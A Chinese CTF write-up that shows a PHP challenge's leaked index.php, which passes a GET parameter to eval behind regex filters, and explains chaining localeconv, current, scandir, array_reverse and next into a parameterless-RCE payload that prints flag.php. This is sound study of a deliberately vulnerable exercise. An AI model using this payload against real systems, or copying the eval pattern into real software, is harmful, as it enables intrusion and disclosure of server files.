拿到这道题,抓包看了看,啥也没有,考虑用dirsearch爆破目录,未果,忍不住看了下大佬的wp,原来是./git源码泄露,当然这并没有完,精彩的还在后面呢,我们来看一下这道题
前言
本题主要用到5个函数
1.localeconv() 返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
2.current() 返回数组中的当前单元, 默认取第一个值。
3.scandir() 可以扫描当前目录下的文件
4.array_reverse() 以相反的元素顺序返回数组
5.next() 将内部指针指向数组的下一个元素,并返回结果
题目
打开题目就是个这
用dirsearch爆破目录未果,用githack探测发现有index.php这个文件
分析
1 <?php
2 include "flag.php";
3 echo "flag在哪里呢?<br>";
4 if(isset($_GET['exp'])){
5 if (!preg_match('/data://|filter://|php://|phar:///i', $_GET['exp'])) {
6 if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp'])) {
7 if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
8 // echo $_GET['exp'];
9 @eval($_GET['exp']);
10 }
11 else{
12 die("还差一点哦!");
13 }
14 }
15 else{
16 die("再好好想想!");
17 }
18 }
19 else{
20 die("还想读flag,臭弟弟!");
21 }
22 }
23 // highlight_file(__FILE__);
24 ?>
分析源码
1.需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容。
2.过滤了常用的几个伪协议,不能以伪协议读取文件。
3.(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
4.正则匹配掉了et/na/info等关键字,很多函数都用不了。
5:eval($_GET['exp']); 典型的无参数RCE
关键点还是在这句代码中
if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp']))
我们先来分析一下正则
它其实大体上就匹配的是一个函数,就例如a();
注意正则里有一个?R,这玩意儿是引用当前表达式,后面再加?是递归调用
最后替换后就是个;
所以exp必须要是a(b());这种类型的才可
既然getshell基本不可能,那么考虑读源码
看源码,flag应该就在flag.php
我们想办法读取
首先需要得到当前目录下的文件
scandir()函数可以扫描当前目录下的文件,例如:
<?php
print_r(scandir('.'));
?>
那么问题就是如何构造
scandir('.')
这里再看函数:
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
这里还有一个知识点:
current(localeconv())永远都是个点
那么我们第一步就解决了:
print_r(scandir(current(localeconv())));
现在的问题就是怎么读取倒数第二个数组呢?
这里主要用到两个函数next()和array_reverse()
next()
arrar_reverse()
scandir函数的返回值是一个数组,如果把数组逆序排列,再用一个next不就可以了吗,highlight_file
输出,payload:
最后的payload
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));